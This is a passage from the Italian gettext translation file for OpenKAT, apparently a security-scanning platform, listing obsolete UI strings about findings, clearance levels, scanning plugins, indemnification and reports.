bloccato\"\n\n#~ msgid \"Type select\"\n#~ msgstr \"Seleziona il tipo\"\n\n#~ msgid \"Add Account Type\"\n#~ msgstr \"Aggiungi tipo di account\"\n\n#~ msgid \"Add Member\"\n#~ msgstr \"Aggiungi membro\"\n\n#~ msgid \"\"\n#~ \"An overview of the top 10 most severe findings OpenKAT found. Check the \"\n#~ \"detail section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Una panoramica dei 10 rilevamenti più gravi che OpenKAT ha trovato. \"\n#~ \"Controlla la sezione dettagli per ulteriori informazioni sulla gravità.\"\n\n#~ msgid \"Top 10 most severe Findings\"\n#~ msgstr \"Top 10 dei rilevamenti più gravi\"\n\n#~ msgid \"Showing \"\n#~ msgstr \"Visualizzazione \"\n\n#~ msgid \"findings\"\n#~ msgstr \"rilevamenti\"\n\n#~ msgid \"Finding type:\"\n#~ msgstr \"Tipo di rilevamento:\"\n\n#~ msgid \"OOI type:\"\n#~ msgstr \"Tipo di OOI:\"\n\n#~ msgid \"Source OOI:\"\n#~ msgstr \"OOI di origine:\"\n\n#~ msgid \"KAT-alogus Settings\"\n#~ msgstr \"Impostazioni KAT-alogus\"\n\n#~ msgid \"\"\n#~ \"There are currently no settings defined. Add settings at plugin detail \"\n#~ \"page.\"\n#~ msgstr \"\"\n#~ \"Attualmente non sono definite impostazioni. Aggiungi impostazioni nella \"\n#~ \"pagina dettagli del plugin.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Questi sono i risultati di un'analisi OpenKAT (%(observed_at)s). Fai clic \"\n#~ \"su un risultato per ulteriori informazioni dettagliate sul problema, la \"\n#~ \"sua origine, gravità e possibili soluzioni.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"Albero DNS\"\n\n#~ msgid \"Total findings:\"\n#~ msgstr \"Rilevamenti totali:\"\n\n#~ msgid \"An overview of\"\n#~ msgstr \"Una panoramica di\"\n\n#~ msgid \"object type\"\n#~ msgstr \"tipo di oggetto\"\n\n#~ msgid \"\"\n#~ \"This shows general information and its related objects. It also gives the \"\n#~ \"possibility to add additional related objects, or to scan for them.\"\n#~ msgstr \"\"\n#~ \"Questo mostra informazioni generali e oggetti correlati. Consente anche \"\n#~ \"di aggiungere oggetti correlati aggiuntivi o di effettuare una scansione \"\n#~ \"per trovarli.\"\n\n#~ msgid \"Unique\"\n#~ msgstr \"Unico\"\n\n#~ msgid \"There are no tasks for boefjes\"\n#~ msgstr \"Non ci sono compiti per boefjes\"\n\n#~ msgid \"List of tasks for boefjes\"\n#~ msgstr \"Elenco dei compiti per boefjes\"\n\n#~ msgid \"There are no tasks for normalizers\"\n#~ msgstr \"Non ci sono compiti per i normalizzatori\"\n\n#~ msgid \"List of tasks for normalizers\"\n#~ msgstr \"Elenco dei compiti per i normalizzatori\"\n\n#~ msgid \"Your password must contain at least the following:\"\n#~ msgstr \"La tua password deve contenere almeno quanto segue:\"\n\n#~ msgid \" special characters such as: \"\n#~ msgstr \" caratteri speciali come:\"\n\n#~ msgid \"\"\n#~ \"Failed to get list of findings for organization {}, check server logs for \"\n#~ \"more details.\"\n#~ msgstr \"\"\n#~ \"Impossibile ottenere l'elenco delle scoperte per l'organizzazione {}, \"\n#~ \"controlla i log del server per ulteriori dettagli.\"\n\n#~ msgid \"\"\n#~ \"An overview of all (critical) findings OpenKAT found. Check the detail \"\n#~ \"section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Una panoramica di tutti i rilevamenti (critici) trovati da OpenKAT. \"\n#~ \"Controlla la sezione dettagli per ulteriori informazioni sulla gravità.\"\n\n#~ msgid \"Total Findings\"\n#~ msgstr \"Totale dei Rilevamenti\"\n\n#~ msgid \" Finding Details\"\n#~ msgstr \"Dettagli Rilevamento\"\n\n#~ msgid \"Top critical organizations\"\n#~ msgstr \"Top delle organizzazioni critiche\"\n\n#~ msgid \"Critical findings\"\n#~ msgstr \"Rilevamenti critici\"\n\n#~ msgid \"Critical Findings\"\n#~ msgstr \"Rilevamenti Critici\"\n\n#~ msgid \"this field is required\"\n#~ msgstr \"questo campo è obbligatorio\"\n\n#~ msgid \"This field is required\"\n#~ msgstr \"Questo campo è obbligatorio\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Non hai alcuna autorizzazione per eseguire la \"\n#~ \"scansione di oggetti.<br>\\n\"\n#~ \"                            Contatta l'amministratore per ottenere il \"\n#~ \"livello di autorizzazione necessario.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Use the form below to clone the settings from \"\n#~ \"<i>%(current_organization)s</i> to the selected organization.\\n\"\n#~ \"        This includes both the KAT-alogus settings as well as enabled and \"\n#~ \"disabled plugins.\\n\"\n#~ \"      \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        Utilizza il modulo sottostante per clonare le impostazioni da \"\n#~ \"<i>%(current_organization)s</i> all'organizzazione selezionata.\\n\"\n#~ \"        Questo include sia le impostazioni di KAT-alogus che i plugin \"\n#~ \"abilitati e disabilitati.\\n\"\n#~ \"      \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Plugin available\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                            Plugins available\\n\"\n#~ \"                        \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                            Accetta il livello di autorizzazione L%(tcl)s \"\n#~ \"e la responsabilità\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                            Accetta il livello di autorizzazione L%(tcl)s \"\n#~ \"e la responsabilità\\n\"\n#~ \"                        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            aggiungi impostazione\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            aggiungere impostazioni\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            impostaziono\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            impostazioni\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  Aggiungi impostazione e abilita boefje\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  Aggiungi le impostazioni e abilita boefje\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT has a permission system that allows \"\n#~ \"administrators to\\n\"\n#~ \"                    configure which users can set a certain clearance \"\n#~ \"level. The will make sure\\n\"\n#~ \"                    that only users that are trusted can start the more \"\n#~ \"aggressive scans.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT ha un sistema di autorizzazioni che consente \"\n#~ \"agli amministratori di\\n\"\n#~ \"                    configurare quali utenti possono impostare un certo \"\n#~ \"livello di autorizzazione. Ciò garantirà\\n\"\n#~ \"                    che solo gli utenti fidati possano avviare scansioni \"\n#~ \"più aggressive.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Before a member is granted the ability to set \"\n#~ \"clearance levels on an object,\\n\"\n#~ \"                    they must first acknowledge and accept the clearance \"\n#~ \"level set by the administrators.\\n\"\n#~ \"                    The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level.\\n\"\n#~ \"                    By acknowledging the trusted clearance level, this \"\n#~ \"member formally agrees to abide by\\n\"\n#~ \"                    this permission and gains the capability to perform \"\n#~ \"scans only up to this trusted clearance level.\\n\"\n#~ \"                    This two-step process ensures that the member \"\n#~ \"operates within authorized boundaries.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Prima che un membro ottenga la possibilità di impostare i livelli di \"\n#~ \"autorizzazione su un oggetto,\\n\"\n#~ \" deve prima riconoscere e accettare il livello di autorizzazione \"\n#~ \"impostato dagli amministratori.\\n\"\n#~ \" Il livello di scansione massimo consentito per un membro è allineato al \"\n#~ \"livello di autorizzazione attendibile.\\n\"\n#~ \" Riconoscendo il livello di autorizzazione attendibile, questo membro \"\n#~ \"accetta formalmente di attenersi a\\n\"\n#~ \" questa autorizzazione e acquisisce la capacità di eseguire scansioni \"\n#~ \"solo fino a questo livello di autorizzazione attendibile.\\n\"\n#~ \" Questo processo a due fasi garantisce che il membro operi entro i limiti \"\n#~ \"autorizzati.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                Unfortunately you cannot continue the \"\n#~ \"onboarding. </br>\\n\"\n#~ \"                                Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                                You need at least a clearance level of \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n#~ \"<strong>%(ooi)s</strong></br>\\n\"\n#~ \"                                Contact your administrator to receive a \"\n#~ \"higher clearance.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                Purtroppo non è possibile continuare con \"\n#~ \"l'onboarding. </br>\\n\"\n#~ \"                                Il tuo amministratore ti ha assegnato un \"\n#~ \"livello di autorizzazione di <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                                Hai bisogno almeno di un livello di \"\n#~ \"autorizzazione di <strong>L%(dns_report_least_clearance_level)s</strong> \"\n#~ \"per effettuare la scansione di <strong>%(ooi)s</strong></br>\\n\"\n#~ \"                                Contatta il tuo amministratore per \"\n#~ \"ottenere un livello di autorizzazione più alto.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You must first accept this clearance level to \"\n#~ \"continue.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Il tuo amministratore ti ha affidato un \"\n#~ \"livello di autorizzazione di <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            Devi prima accettare questo livello di \"\n#~ \"autorizzazione per continuare.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Accetta il livello di autorizzazione L%(tcl)s \"\n#~ \"e la responsabilità\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has <strong>trusted</\"\n#~ \"strong> you with a clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You have also <strong>acknowledged</strong> \"\n#~ \"to use this clearance level of <strong>L%(acl)s</strong>.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Il tuo amministratore ti ha <strong>affidato</\"\n#~ \"strong> un livello di autorizzazione di <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            Hai anche <strong>riconosciuto</strong> di \"\n#~ \"utilizzare questo livello di autorizzazione di <strong>L%(acl)s</\"\n#~ \"strong>.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Warning:</strong>\\n\"\n#~ \"                            Indemnification is not set for this \"\n#~ \"organization.\\n\"\n#~ \"                            Go to the <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">organization settings page</a> to add \"\n#~ \"one.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Avviso:</strong>\\n\"\n#~ \"                            L'indennizzo non è impostato per questa \"\n#~ \"organizzazione.\\n\"\n#~ \"                            Vai alla <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">pagina delle impostazioni \"\n#~ \"dell'organizzazione</a> per aggiungerne uno.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    An overview of \\\"%(organization_name)s\\\" its \"\n#~ \"members.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Una panoramica dei membri di \"\n#~ \"\\\"%(organization_name)s\\\".\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            An overview of \\\"%(organization_name)s\\\". This shows general \"\n#~ \"information and its settings.\\n\"\n#~ \"          \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            Una panoramica di \\\"%(organization_name)s\\\". Questo mostra \"\n#~ \"informazioni generali e le relative impostazioni.\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              <strong>Warning:</strong>\\n\"\n#~ \"              Indemnification is not set for this organization.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              <strong>Avviso:</strong>\\n\"\n#~ \"              L'indennizzo non è impostato per questa organizzazione.\\n\"\n#~ \"            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              This means that this object will be scanned by Boefjes with \"\n#~ \"scan level\\n\"\n#~ \"              %(scan_level)s and lower. Setting the clearance level from \"\n#~ \"“declared”\\n\"\n#~ \"              to “inherit” means that this object will inherit its level \"\n#~ \"from neighbouring\\n\"\n#~ \"              objects. This means that the clearance level might stay the \"\n#~ \"same, increase,\\n\"\n#~ \"              or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels\\n\"\n#~ \"              of objects that inherit from this clearance level will also \"\n#~ \"be recalculated.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              Ciò significa che questo oggetto verrà scansionato da \"\n#~ \"Boefjes con il livello di scansione\\n\"\n#~ \"               %(scan_level)s e inferiori. Impostazione del livello di \"\n#~ \"autorizzazione da “dichiarato”\\n\"\n#~ \"               \\\"ereditare\\\" significa che questo oggetto erediterà il \"\n#~ \"suo livello dal vicino\\n\"\n#~ \"               oggetti. Ciò significa che il livello di autorizzazione \"\n#~ \"potrebbe rimanere lo stesso, aumentare,\\n\"\n#~ \"               o diminuire in base ad altri livelli di autorizzazione \"\n#~ \"dichiarati. Livelli di autorizzazione\\n\"\n#~ \"               verranno ricalcolati anche gli oggetti che ereditano da \"\n#~ \"questo livello di autorizzazione.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This object has a clearance level of \\\"L0\\\". This means \"\n#~ \"that this object will not be scanned by any Boefje until that\\n\"\n#~ \"                Boefje is run manually for this object again. Objects \"\n#~ \"with a clearance level higher than \\\"L0\\\" will be scanned automatically \"\n#~ \"by Boefjes with\\n\"\n#~ \"                corresponding scan levels.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                Questo oggetto ha un livello di sicurezza \\\"L0\\\". Ciò \"\n#~ \"significa che questo oggetto non verrà scansionato da nessun Boefje fino \"\n#~ \"a quel momento\\n\"\n#~ \"                 Boefje viene nuovamente eseguito manualmente per questo \"\n#~ \"oggetto. Gli oggetti con un livello di sicurezza superiore a \\\"L0\\\" \"\n#~ \"verranno scansionati automaticamente da Boefjes con\\n\"\n#~ \"                 livelli di scansione corrispondenti.\\n\"\n#~ \"            \"\n\n#~ msgid \"Download PDF\"\n#~ msgstr \"Scarica PDF\"\n\n#~ msgid \"There are no boefjes available within the current clearance level of\"\n#~ msgstr \"\"\n#~ \"Non ci sono boefjes disponibili nel livello di autorizzazione corrente di\"\n\n#~ msgid \"Or if you have the authorization, upgrade the clearance level of\"\n#~ msgstr \"\"\n#~ \"Oppure, se hai l'autorizzazione, aggiorna il livello di autorizzazione di\"\n\n#~ msgid \"Accounts\"\n#~ msgstr \"Account\"\n\n#~ msgid \"Currently there are no findings for OOI\"\n#~ msgstr \"Attualmente non ci sono rilevamenti per OOI\"\n\n#, fuzzy\n#~ msgid \"Select your language\"\n#~ msgstr \"Seleziona organizzazione\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Current language is %(current_language)s. Choose your preferred language.\"\n#~ msgstr \"\"\n#~ \"La lingua corrente è %(current_language)s. Scegli la tua lingua preferita.\"\n\n#, python-format\n#~ msgid \"Findings report for %(name)s\"\n#~ msgstr \"Report dei rilevamenti per %(name)s\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis on %(observed_at)s. Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Questi sono i risultati di un'analisi OpenKAT effettuata il \"\n#~ \"%(observed_at)s. Fai clic su una scoperta per ottenere informazioni più \"\n#~ \"dettagliate sull'argomento, la sua origine, la gravità e possibili \"\n#~ \"soluzioni.\"\n\n#, python-format\n#~ msgid \"A report for %(name)s wasn't found.\"\n#~ msgstr \"Non è stato trovato un report per %(name)s.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Perhaps it never was, perhaps it just didn't exist on %(observed_at)s \"\n#~ \"<br> Try some other dates!\"\n#~ msgstr \"\"\n#~ \"Forse non è mai esistito, forse semplicemente non esisteva in data \"\n#~ \"%(observed_at)s <br> Prova altre date!\"\n\n#~ msgid \"You can't generate a report for an OOI on a date in the future.\"\n#~ msgstr \"Non è possibile generare un rapporto per un OOI in una data futura.\"\n\n#~ msgid \"Findings report\"\n#~ msgstr \"Rapporto dei risultati\"\n\n#~ msgid \"Generating report failed. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Generazione del rapporto fallita. Consulta i log di Keiko per ulteriori \"\n#~ \"informazioni.\"\n\n#~ msgid \"\"\n#~ \"Timeout reached generating report. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Timeout raggiunto durante la generazione del rapporto. Consulta i log di \"\n#~ \"Keiko per ulteriori informazioni.\"\n\n#~ msgid \"\"\n#~ \"Boefjes gather factual information, such as by calling an external \"\n#~ \"scanning tool like nmap or using a database like shodan.\"\n#~ msgstr \"\"\n#~ \"Boefjes raccoglie informazioni reali, ad esempio richiamando uno \"\n#~ \"strumento di scansione esterno come nmap o utilizzando un database come \"\n#~ \"shodan.\"\n\n#~ msgid \" Details\"\n#~ msgstr \" Dettagli\"\n\n#~ msgid \"Action\"\n#~ msgstr \"Azione\"\n\n#~ msgid \"Unset\"\n#~ msgstr \"Non impostato\"\n\n#~ msgid \"Failed fetching settings for {}. Is the Katalogus up?\"\n#~ msgstr \"\"\n#~ \"Impossibile recuperare le impostazioni per {}. Il catalogo è attivo?\"\n\n#~ msgid \"Before enabling, please set the required settings for '{}'.\"\n#~ msgstr \"\"\n#~ \"Prima dell'abilitazione, configurare le impostazioni richieste per '{}'.\"\n\n#~ msgid \"Currently filtered on:\"\n#~ msgstr \"Attualmente filtrato su:\"\n\n#~ msgid \"Object tree\"\n#~ msgstr \"Albero degli oggetti\"\n\n#~ msgid \"Please select an OOI to start scan.\"\n#~ msgstr \"Seleziona un OOI per avviare la scansione.\"\n\n#~ msgid \"Task queue is full, please try again later.\"\n#~ msgstr \"\"\n#~ \"La coda delle attività è piena, ti preghiamo di riprovare più tardi.\"\n\n#~ msgid \"Task is invalid.\"\n#~ msgstr \"L'attività non è valida.\"\n\n#~ msgid \"Task already queued.\"\n#~ msgstr \"Attività già in coda.\"\n\n#~ msgid \"Observed by\"\n#~ msgstr \"Osservato da\"\n\n#~ msgid \"Select status\"\n#~ msgstr \"Seleziona stato\"\n\n#~ msgid \"Success\"\n#~ msgstr \"Successo\"\n\n#~ msgid \"No scans found for this object.\"\n#~ msgstr \"Nessuna scansione trovata per questo oggetto.\"\n\n#~ msgid \"all\"\n#~ msgstr \"tutto\"\n\n#~ msgid \"Fetching tasks failed: no connection with scheduler\"\n#~ msgstr \"\"\n#~ \"Recupero dei compiti non riuscito: nessuna connessione con il \"\n#~ \"pianificatore\"\n\n#~ msgid \"Latest plugin settings:\"\n#~ msgstr \"Impostazioni più recenti dei plugin:\"\n\n#~ msgid \"Overview of settings:\"\n#~ msgstr \"Panoramica delle impostazioni:\"\n\n#~ msgid \"For this tutorial we suggest a DNS-report to get you started.\"\n#~ msgstr \"Per questo tutorial, ti suggeriamo un report DNS per iniziare.\"\n\n#~ msgid \"DNS report\"\n#~ msgstr \"Report DNS\"\n\n#~ msgid \"User overview:\"\n#~ msgstr \"Panoramica utente:\"\n\n#~ msgid \"Boefjes overview:\"\n#~ msgstr \"Panoramica dei boefjes:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pen-test, a DNS-report or a mail report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"All'interno di OpenKAT è possibile visualizzare i report per ciascuno dei \"\n#~ \"tuoi oggetti attuali. Per report specifici, è possibile scegliere uno dei \"\n#~ \"tipi di report disponibili e generare un report, come un test di \"\n#~ \"penetrazione, un report DNS o un report di posta, per fare alcuni esempi.\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an ip-address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"Una vasta gamma di cose può essere un oggetto nell'ambito di OpenKAT. Ad \"\n#~ \"esempio, un server di posta, un indirizzo IP, un URL, un record DNS, un \"\n#~ \"hostname o una rete, per citarne alcuni. Sebbene questi oggetti possano \"\n#~ \"essere correlati tra loro, sono tutti oggetti all'interno di OpenKAT che \"\n#~ \"possono essere scansionati per ottenere informazioni preziose.\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and ip-address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"La maggior parte degli oggetti ha dipendenze dall'esistenza di altri \"\n#~ \"oggetti. Ad esempio, un URL deve essere collegato a una rete, un \"\n#~ \"hostname, un fqdn (fully qualified domain name) e un indirizzo IP. \"\n#~ \"OpenKAT raccoglie automaticamente questi oggetti aggiuntivi quando \"\n#~ \"possibile. Eseguendo plugin per raccogliere o estrarre questi dati.\"\n\n#~ msgid \"Risk score:\"\n#~ msgstr \"Punteggio di rischio:\"\n\n#~ msgid \"Permission to set OOI clearance levels \"\n#~ msgstr \"Permesso di impostare livelli di autorizzazione OOI \"\n\n#~ msgid \"You have currently accepted clearance up to level \"\n#~ msgstr \"Hai attualmente accettato l'autorizzazione fino al livello \"\n\n#~ msgid \"\"\n#~ \"If you don’t remember the email address connected to your account, \"\n#~ \"contact: \"\n#~ msgstr \"\"\n#~ \"Se non ricordi l'indirizzo email collegato al tuo account, contatta:\"\n\n#~ msgid \"Publisher\"\n#~ msgstr \"Editore\"\n\n#~ msgid \"You don't have permission to enable \"\n#~ msgstr \"Non hai il permesso di abilitare \"\n\n#~ msgid \"\"\n#~ \"<span>Warning scan level:</span> Scanning OOI's with a lower clearance \"\n#~ \"level will result in OpenKAT increasing the clearance level on that OOI, \"\n#~ \"not only for this scan but from now on out, until it manually gets set to \"\n#~ \"something else again. This means that all other enabled Boefjes will use \"\n#~ \"this higher clearance level aswel.\"\n#~ msgstr \"\"\n#~ \"<span>Avviso livello di scansione:</span>\\n\"\n#~ \"La scansione degli OOI con un livello di autorizzazione inferiore \"\n#~ \"comporterà un aumento del livello di autorizzazione su quell'OOI da parte \"\n#~ \"di OpenKAT, non solo per questa scansione ma da ora in poi, finché non \"\n#~ \"verrà impostato manualmente su qualcos'altro.\\n\"\n#~ \"Questo significa che tutti gli altri Boefjes abilitati utilizzeranno \"\n#~ \"anche questo livello di autorizzazione più alto.\"\n\n#~ msgid \"Reason\"\n#~ msgstr \"Motivo\"\n\n#~ msgid \"Overview of findings for \"\n#~ msgstr \"Panoramica dei rilevamenti per \"\n\n#~ msgid \"Error\"\n#~ msgstr \"Errore\"\n\n#~ msgid \"Explanation\"\n#~ msgstr \"Spiegazione\"\n\n#~ msgid \"Here, an indemnification can be given on behalf of your organization\"\n#~ msgstr \"\"\n#~ \"In questo caso è possibile concedere un indennizzo a nome della propria \"\n#~ \"organizzazione\"\n\n#~ msgid \"Confirmation\"\n#~ msgstr \"Conferma\"\n\n#~ msgid \"No related objects added to \"\n#~ msgstr \"Nessun oggetto correlato aggiunto a\"\n\n#~ msgid \"Use the button below to add a related object. \"\n#~ msgstr \"Usa il pulsante sottostante per aggiungere un oggetto correlato. \"\n\n#~ msgid \"Logged in as\"\n#~ msgstr \"Collegato come\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                             \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Impossibile aumentare il livello di autorizzazione di %s a \"\n#~ \"L%s.                             Indennizzo non presente \"\n#~ \"nell'organizzazione %s.\"\n\n#~ msgid \"DNS Zone\"\n#~ msgstr \"Zona DNS\"\n\n#~ msgid \"\"\n#~ \"OpenKAT added the following required object to your object list to \"\n#~ \"complete your request: {}\"\n#~ msgstr \"\"\n#~ \"OpenKAT ha aggiunto l'oggetto richiesto seguente alla tua lista di \"\n#~ \"oggetti per completare la tua richiesta: {}\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                 \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Impossibile aumentare il livello di autorizzazione di %s a \"\n#~ \"L%s.                 Indennizzo non presente presso l'organizzazione %s.\"\n\n#~ msgid \"\"\n#~ \"Not all required boefjes are selected. Please select all required boefjes.\"\n#~ msgstr \"\"\n#~ \"Non sono stati selezionati tutti i boefjes richiesti. Seleziona tutti i \"\n#~ \"boefjes richiesti.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                         \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Impossibile alzare il livello di autorizzazione di %s a \"\n#~ \"L%s.                         L'indennizzo non è presente \"\n#~ \"nell'organizzazione %s.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s. You acknowledged a \"\n#~ \"clearance level of L%s. Please accept the clearance level below to \"\n#~ \"proceed.\"\n#~ msgstr \"\"\n#~ \"Impossibile alzare il livello di autorizzazione di %s a L%s. Hai \"\n#~ \"riconosciuto un livello di autorizzazione di L%s. Per favore, accetta il \"\n#~ \"livello di autorizzazione inferiore per procedere.\"\n\n#~ msgid \"Choose a valid level\"\n#~ msgstr \"Scegli un livello valido\"\n\n#, python-format\n#~ msgid \"Raw file could not be uploaded to Bytes: status code %s\"\n#~ msgstr \"Impossibile caricare il file raw su Bytes: codice di stato %s\"\n\n#~ msgid \"Failure mode\"\n#~ msgstr \"Modalità di guasto\"\n\n#~ msgid \"Frequency Level\"\n#~ msgstr \"Livello di Frequenza\"\n\n#~ msgid \"Detectability Level\"\n#~ msgstr \"Livello di Rilevabilità\"\n\n#~ msgid \"Effect(s)\"\n#~ msgstr \"Effetto/i\"\n\n#~ msgid \"Describe in one sentence what type of failure mode you are creating.\"\n#~ msgstr \"Descrivi in una frase che tipo di modalità di guasto stai creando.\"\n\n#~ msgid \"Describe the failure mode in details.\"\n#~ msgstr \"Descrivi in dettaglio la modalità di guasto.\"\n\n#~ msgid \"\"\n#~ \"From 1 to 5, how often does this failure mode occurs. 1: Almost \"\n#~ \"unthinkable and 5: occurs daily.\"\n#~ msgstr \"\"\n#~ \"Da 1 a 5, quanto spesso si verifica questa modalità di guasto. 1: Quasi \"\n#~ \"impensabile e 5: si verifica quotidianamente.\"\n\n#~ msgid \"\"\n#~ \"Is this failure mode easy detectable? Give it a score from 1 to 5. 1: \"\n#~ \"always detectable and 5: almost undetectable.\"\n#~ msgstr \"\"\n#~ \"Questa modalità di guasto è facilmente rilevabile? Assegnale un punteggio \"\n#~ \"da 1 a 5. 1: sempre rilevabile e 5: quasi indetectabile.\"\n\n#~ msgid \"Describe the type of failure mode\"\n#~ msgstr \"Descrivi il tipo di modalità di guasto\"\n\n#~ msgid \"explanation-failure-mode\"\n#~ msgstr \"spiegazione-modalità-di-guasto\"\n\n#~ msgid \"Describe in 